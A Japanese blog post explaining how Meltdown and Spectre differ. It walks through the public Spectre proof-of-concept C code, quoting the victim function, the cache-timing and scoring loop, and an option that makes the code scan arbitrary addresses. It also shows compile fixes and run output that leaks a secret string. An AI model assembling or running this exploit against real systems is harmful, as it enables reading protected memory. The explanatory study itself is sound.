今年になってMeltdownとSpectreが盛り上がっております。
しかし、MeltdownとSpectreの違いが分からず、ほとんど同じようなもの的な解説しかなくて困りました。
一番役に立ったのが、東大大学情報基盤センターの准教授である品川さんのこのtweet
品川さんのtweet
Meltdown はアウトオブオーダー実行、Spectre は分岐予測の実装の問題を突くという違いはあるけれど、どちらも本来権限のないメモリ読み込み命令を投機的に実行させて、その結果キャッシュに残ったサイドエフェクトから値を読み取るという点ではよく似ている。
Meltdownの概要
Negative Result: Reading Kernel Memory From User Mode
2017/7/28には公開していたぜってブログ。
超簡単に説明すると、CPUには動作モードしてカーネルモードとユーザモードがある。Intelだと80286にプロテクトモードってできたときが最初のはず。でも使っていたOSはほとんどMS-DOSとかだったので対応していなかった。
カーネルモードは特権モードとも呼ばれ、すべてのメモリ空間にアクセスできる。
一方ユーザモードはアクセスできるメモリが限定される。
Meltdownの脆弱性とは、Intelのプロセッサーに限って、ユーザモードなのにカーネルモードしかアクセスできないはずの制限されたメモリ空間にアクセスできてしまったという問題。
やり方
レジスターA＝カーネルメモリのアドレスの参照
レジスターB＝ユーザメモリのレジスターAのオフセットの参照
ユーザメモリがCPUのキャッシュに乗っているかナノ秒レベルで速度を計って、最も速くアクセスできたメモリブロックがレジスターAの値だと推定する
常識的に考えると、カーネルメモリにアクセス時点で割込み（例外、エラー）となるので、そこで終わりのはずなのに、高性能を追求するIntelさんは次のユーザメモリのアクセスもアウトオブオーダー実行でCPU内部では実行してしまって、L1キャッシュにデータが乗った状態で割込みがかかるらしい。なので、AMDその他のプロセッサーの動作検証ではMeltdownは起きないとされている。
2行目のコード例でarray1[a<<12]となっていて、この12ビットシフトは謎だったが、おそらく仮想メモリのページサイズが4096バイトのため、4096バイト間隔でアクセスしているのではないかと。添字0から255までチェックするときに、添字0のチェックの後にキャッシュに乗ってしまうので、次の添字1のチェックで影響しないように4096バイト離しているのではないかと。
Spectre
SpectreのPoC
英文の論文なんか読んでも分からないからソースでも読んでおけｗ。
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
この関数のif文は常にfalseです。
しかし、最近のCPUというのは分岐予測という機能で、とにかくソースコードの実行順だけでなく、データの順番でも先に実行できるものはCPU内部で先行処理しようとします。このPoCがよくできているのが、if文のarray1_sizeは事前にキャッシュに乗っていない状態にして、if文の評価するには時間がかかるから、じゃあtrueとfalseと先に処理してしまえということで、tempへの代入を処理してしまいます。
このときにarray1[x]にアクセスしますが、このxの値というのは、デフォルトでは次の値が入っています。
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
つまり、array1[x]というのはarray1[secret-array1]と同じでして、つまりはsecret[0]となるわけです。
secretという変数はグローバル変数です。自分のプロセスのアドレスなんだから読めて当たり前じゃん。その通りです。
char *secret = "The Magic Words are Squeamish Ossifrage.";
でもこれmainの最初で、起動パラメータが2つ指定すると、任意のアドレスで指定したバイト数をスキャンするツールだったのだ！！！
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
あと、Meltdownと同じ原理で、array2のどこかの添字にアクセスしてL1キャッシュに乗っているはずだから、値0から255に相当する部分にアクセスして、妙に速かったところが本来アクセスできないユーザメモリの値と推定できます。
Meltdownと違ってカーネルメモリをスキャンすることはできません。それはCPUレベルでアクセス制限がかかっているためです。
しかし、プロセスごとにメモリ空間が分離されているというのはOSレベルで実現していることであって、CPUレベルで実現していません。したがって、分岐予測のように本来実行されないコードで、そのプロセスがどのメモリにアクセスできないという制御は不可能です。
もしSpectreを根本的に解決しようとすると、分岐予測のような最適化を無効にして、メモリバスと同じクロックでしか事実上動作できないむかしのCPUの性能に戻ってしまうか、もしくはCPU内部にプロセスIDというレジスターを追加し、OSがプロセス生成する度にCPUにこのプロセスIDはこのメモリブロックにアクセス許可するという登録をさせて、CPU内部に許可されたメモリブロックのベクターテーブルを用意し、OSがタスクスイッチする度にプロセスIDレジスターも設定してから機械語を実行させるようにすれば、CPUレベルでプロセスごとのアクセスできるメモリを制限できるようになって根本的に解決できるんじゃないかと思います。
コンパイルの方法
手頃な環境でコンパイルしてみた。
Red Hat Enterprise Linux Server release 7.4 (Maipo)
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-16)
$ gcc 43427.c
43427.c: In function ‘readMemoryByte’:
43427.c:63:13: error: ‘for’ loop initial declarations are only allowed in C99 mode
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
^
43427.c:63:13: note: use option -std=c99 or -std=gnu99 to compile your code
$ gcc -std=c99 43427.c
43427.c: In function ‘main’:
43427.c:125:16: error: stray ‘\342’ in program
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
^
43427.c:125:16: error: stray ‘\200’ in program
43427.c:125:16: error: stray ‘\231’ in program
43427.c:125:65: error: expected expression before ‘?’ token
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
^
43427.c:125:65: error: stray ‘\342’ in program
43427.c:125:65: error: stray ‘\200’ in program
43427.c:125:65: error: stray ‘\231’ in program
えええーーー、意味分からないと思って調べた結果、125行目に’?’ってあるけど妙に大きい。文字コードがU+2019だった。U+0027の普通の'?'にしてください。
実行結果
Reading at malicious_x = 0xffffffffffdfeb40... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfeb41... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb42... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb43... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb44... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfeb45... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb46... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb47... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb48... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfeb49... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb4a... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfeb4b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfeb4c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb4d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfeb4e... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb4f... Success: 0x20=’ ’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfeb50... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb51... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb52... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb53... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb54... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfeb55... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfeb56... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfeb57... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb59... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfeb5a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb5b... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb5c... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb5d... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb5e... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfeb5f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb60... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb61... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb62... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfeb63... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb64... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb65... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb66... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb67... Success: 0x2E=’.’ score=2
second bestとある１行だけが２つ以上候補が見つかったやつ。
それ以外は候補が１つだけのやつ。
scoreを確定してループを打ち切る条件は以下のif文。これは好きにチューニングすればよいかと。
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
度数を計測するのが以下の部分。CACHE_HIT_THRESHOLD=80の定数。
__rdtscpはティックだけど、どのくらいかはっきり分からないが、たぶん1GHzで1ナノ秒というレベルの数値らしいです。Windowsだと100ナノ秒とか書いてあるけど、それは精度悪すぎじゃないの。
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
どっかに行ってしまったけど、別のPoCだとまずキャッシュヒット、キャッシュミスしたときの時間を計測して、実測値から閾値を求めてさあ攻撃とかあったです。技術者ならヒントさえ与えればいくらでも改善するでしょ。
おわび
PoCのソースなんですが、ほんとに分かっていないところはさらりと飛ばしています。
特にここは分かんないというか、これを理解しようとするモチベーションがないです。
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
